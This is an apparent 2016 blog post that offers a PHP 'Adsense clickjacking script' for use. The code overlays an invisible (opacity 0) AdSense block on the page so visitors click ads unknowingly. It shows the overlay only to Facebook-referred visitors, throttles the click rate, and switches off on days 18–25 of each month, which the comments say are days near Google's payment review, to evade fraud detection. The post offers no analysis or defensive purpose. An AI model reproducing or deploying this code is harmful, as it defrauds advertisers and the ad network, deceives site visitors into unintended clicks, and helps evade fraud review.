lundi 18 juillet 2016

Adsense clickjacking script

Adsense clickjacking script.

This script has ctr control, control possible days of review by google, and facebook referer.

<?php

// Desactivar las 3 condiciones
$demo = true;

// CondiciÛn 1 - Mostrar a usuarios que llegan de Facebook
$referer = $_SERVER['HTTP_REFERER'];

$referer=str_replace("http://", "", $referer);
$referer=str_replace("https://", "", $referer);
$referer=str_replace("www.", "", $referer);
$pieces2 = explode("/", $referer);
$referer=$pieces2[0];

if($referer == 'facebook.com') { $filtro1="si"; } else { $filtro1="no"; }

// CondiciÛn 2 - Control de CTR

if($filtro1=="si") {

$porcentaje = 100;
if(rand(0,100) <= $porcentaje){
$filtro2="si";
}else{
$filtro2="no";
}
}

// CondiciÛn 3 - No ejecutar script oculto si son dÌas cercanos al cobro

if(($filtro1=="si") && ($filtro2=="si")) {

$dia=date("d");
if(($dia=="18") ||
($dia=="19") ||
($dia=="20") ||
($dia=="21") ||
($dia=="22") ||
($dia=="23") ||
($dia=="24") ||
($dia=="25")) { $filtro3="no"; } else { $filtro3="si"; }

}

$codigoAdsense= '<script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<!-- ************************* -->
<ins class="adsbygoogle"
    style="display:inline-block;width:336px;height:280px"
    data-ad-client="ca-pub-*************"
    data-ad-slot="**************"></ins>
<script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script>';

$estilo="<style>
#flotante {
width: 410px;
height: 310px;
top: 39%;
left: 22%;
position: fixed;
margin-left: -40px;
z-index:999;
opacity: 0;
}
</style>";
if(($filtro1=="si") && ($filtro2=="si") && ($filtro3=="si") || ( $demo == true )) {

echo $estilo;
echo "<div id=\"flotante\">";
echo $codigoAdsense;
echo "</div>";
echo "</div>";

} else {

} ?>

Aucun commentaire:

Enregistrer un commentaire